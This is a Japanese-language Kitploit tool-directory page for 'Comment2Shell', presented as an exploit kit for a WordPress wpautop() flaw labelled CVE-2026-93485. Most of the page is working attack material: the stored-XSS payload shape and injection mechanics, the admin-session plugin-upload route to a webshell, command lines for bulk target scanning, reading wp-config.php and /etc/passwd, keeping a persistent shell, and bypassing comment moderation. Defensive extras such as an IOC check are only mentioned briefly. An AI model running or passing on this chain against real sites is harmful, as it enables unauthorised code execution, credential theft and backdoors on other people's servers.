Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Comment2Shell — ゼロクリック・プリ認証のWordPress CVE-2026-93485エクスプロイトチェーン:wpautop()の格納型XSSが管理者セッションのプラグインアップロードへ昇格し、自己削除型ウェブシェルに至る。スキャナー、シェル、Nucleiテンプレート付き。 | Kitploit
ツール/GitHubGitHub/deathshotxd/comment2shell
脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ポストエクスプロイトセキュリティ仮想化ウェブセキュリティペネトレーションテストレッドチーミングペイロード開発ラボと実践
GitHubdeathshotxd/comment2shell
6516591ヶ月前Kitploit レビュー済み

Comment2Shell

ゼロクリック・プリ認証のWordPress CVE-2026-93485エクスプロイトチェーン:wpautop()の格納型XSSが管理者セッションのプラグインアップロードへ昇格し、自己削除型ウェブシェルに至る。スキャナー、シェル、Nucleiテンプレート付き。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Comment2Shell

Comment2Shellは、WordPressコアのwpautop()における認証前の蓄積型XSSであり、管理者セッション内でリモートコード実行へとエスカレートするCVE-2026-93485のエンドツーエンドの概念実証です。匿名コメントがペイロードを仕込み、管理者が投稿を開くと、ブラウザがウェブシェルプラグインをアップロードし、コマンドを実行し、その後シェルを再び削除します。チェーン全体は依存関係のない単一のPythonファイルです。

Comment2Shell logo

CVE-2026-93485, CVSS 7.1 HIGH, pre-auth, zero-click, fixed in 7.1.1

Animated terminal: the exploit chain end to end


Comment2Shellとは?

Comment2Shellは、CVE-2026-93485のためのエクスプロイトおよびローカルラボキットです。このバグはwp-includes/formatting.php内、コメントテキストに対して表示時に実行されるwpautop()段落フィルタに存在します。blockquote cite属性内の改行がHTMLコメントのプレースホルダーになり、blockquoteをラップする正規表現が最初の>で停止して属性の途中に段落タグを注入し、ブラウザがそれをonfocusハンドラとして解析します。autofocus属性によってゼロクリックで発火します。

このツールはチェーン全体をカバーします。パッシブなバージョンスキャン、無害なXSSプローブ、認証前からRCEまでの完全なエクスプロイト、インタラクティブシェル、そして防御側のIOCチェックです。


このエクスプロイトにはアカウントもnonceも不要で、管理者が投稿を閲覧する以外の操作も必要ありません。コメントは開かれているだけで十分です。


Comment2Shell - CVE-2026-93485

なぜ重要なのか

WordPressはウェブの大きなシェアを占めており、wpautop()はコアコードであるため、テーマやプラグインに関係なく、影響を受けるすべてのインストールに脆弱なフィルタが同梱されています。このXSSは蓄積型で、認証前であり、ゼロクリックです。管理者セッション内で実行されるため、単なる改ざんバグにとどまりません。管理者Cookieがあればプラグインをインストールするのに十分であり、プラグインのインストールは任意コード実行を意味します。

修正はWordPress 7.1.1で提供され、25のブランチにわたり、4.7.36までバックポートされました。4.7.0から7.1.0までのすべてのリリースが影響を受けます。

デモ


Comment2Shell demonstration


WordPress 7.1.0に対する制御されたラボでの実行です。匿名コメントがペイロードを仕込み、管理者が投稿を開くとゼロクリックチェーンが発火し、ウェブシェルがアップロードされ、コマンド出力が返り、シェルが自身を削除します。ブラウザのタブタイトルが結果を報告し、Comment2Shell: shell uploadedまたはComment2Shell: admin login requiredのいずれかになります。正確な手順についてはdocker/README.mdを参照してください。

研究上の貢献

Comment2Shellはこの脆弱性の発見を主張するものではありません。この脆弱性はRafie Muhammad(Awesome Motive)によってHackerOne WordPressプログラムを通じて報告され、7.1.1で修正されました。ここでの貢献は、チェーン全体の再現可能で依存関係のない実装です。

  • ペイロードがKSESを通過できるようにする表示時フィルタの条件
  • プラグインのアップロードに外部ファイルを必要としない、ブラウザ内ZIPビルダー
  • コマンド実行後にウェブシェルが自身をunlinkする自動クリーンアップ
  • ブルーチーム向けの成果物:nucleiテンプレート、IOCスクリプト、ログクエリ

攻撃フロー

Anonymous comment, wpautop bug, zero-click XSS, admin view, remote code execution


1. Anonymous comment submission (no auth, no nonce)
   POST /wp-comments-post.php
   <blockquote cite="a\nb"><code>x" onfocus=... autofocus>
   KSES allows blockquote[cite] and code; the newline in cite survives.

2. Display-time filter chain (the bug)
   wpautop() at formatting.php:563:
     preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
   [^>]* stops at the > inside the <!-- wpnl --> comment,
   so a <p> gets injected inside the cite attribute.

3. wptexturize() seals the attribute (block themes)
   Outer " becomes &#8221; (curly quote).
   The " inside <code> stays straight (no-texturize list).
   The browser then parses onfocus/autofocus as real attributes.

4. Zero-click XSS in the admin session
   autofocus fires onfocus on page load, no click needed.
   JS runs with the admin cookies.

5. Admin session -> plugin upload -> RCE
   GET /wp-admin/plugin-install.php, extract the nonce.
   Build ZIP in memory, POST update.php?action=upload-plugin.
   Webshell lands at wp-content/plugins/<rand>/<rand>.php.
   GET /wp-content/plugins/<rand>/<rand>.php?c=id

要件

  • 公開済みの投稿でコメントが有効になっていること(デフォルト)
  • 匿名コメントが許可されていること(デフォルト、comment_registration=0)
  • ブロックテーマが有効になっていること(Twenty Twenty-Two以降デフォルト)
  • ログイン状態で投稿を閲覧する管理者
  • Python 3.8+(標準ライブラリのみ)

インストール

git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help

Python 3.8+ 標準ライブラリのみ、pip install は不要です。

使用方法

パッシブバージョンスキャン

# Single target
python3 comment2shell.py --scan -t https://target.com

# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20

# From a pipeline
subfinder -dL targets.txt | httpx -title | \
  grep -i wordpress | python3 comment2shell.py --scan --stdin

# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json

各結果オブジェクトには次のフィールドが含まれます:

フィールド意味
target正規化されたターゲットURL
wordpressWordPressが検出された場合にtrue
version検出されたバージョン、またはnull
version_methodバージョンの検出方法(例: meta や readme)
vulnerabletrue、false、またはバージョンが不明な場合はnull
post_idコメント可能な投稿ID、またはnull
errorエラー文字列、またはnull

アクティブXSSプローブ

# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com

# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
  --callback https://your-id.oast.example

コマンド実行までの完全なエクスプロイトチェーン

エクスプロイトペイロードはページ読み込み時に alert("Comment2Shell XSS - CVE-2026-93485") を発火します(autofocus によるゼロクリック)。管理者としてログインした状態で 投稿を表示してください。成功するとタブのタイトルが Comment2Shell: shell uploaded になり、ブラウザに管理者セッションがない場合は Comment2Shell: admin login required になります。

# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"

# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"

# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60

# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup

# With an OAST callback
python3 comment2shell.py -t https://target.com \
  -c "cat /etc/passwd" \
  --callback https://your-id.oast.example

# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
  -c "whoami" --known-commenter

# Through a proxy
python3 comment2shell.py -t https://target.com \
  -c "id" --proxy http://127.0.0.1:8080

このツールはXSSコメントを送信し、生成されたwebshellパスを3秒ごとにポーリングし(最大--wait秒)、管理者のブラウザがアップロードをトリガーするとコマンドを実行し、その後シェルを自己削除します(?d=1はPHPファイルのリンクを解除し、プラグインディレクトリを削除します)。これにより永続化は残りません。保持するには--no-cleanupを、ペイロードのみを送信するには--wait 0を渡してください。

インタラクティブシェル

# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
  --shell-path ab12cd/ab12cd.php

# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
  --shell-path ab12cd/ab12cd.php -c "cat wp-config.php"

IOCチェック

python3 comment2shell.py --ioc -t https://target.com

コメント承認バイパス

初回コメント投稿者からの新しいコメントは、通常はモデレーションのために保留されます。 このツールには、それを回避する3つの経路があります:

経路方法フラグ
既知のコメント投稿者デフォルトの「A WordPress Commenter」<[email protected]> を再利用する。これは check_comment() によって自動承認される--known-commenter
モデレーション無効comment_previously_approved=0 の場合、任意の識別情報が自動承認されるデフォルト
投稿者プレビュー過去にコメントした投稿者は、?unapproved=<id>&moderation-hash=<hash> Cookie を通じて保留中のコメントを閲覧できる自動
ツールをダウンロード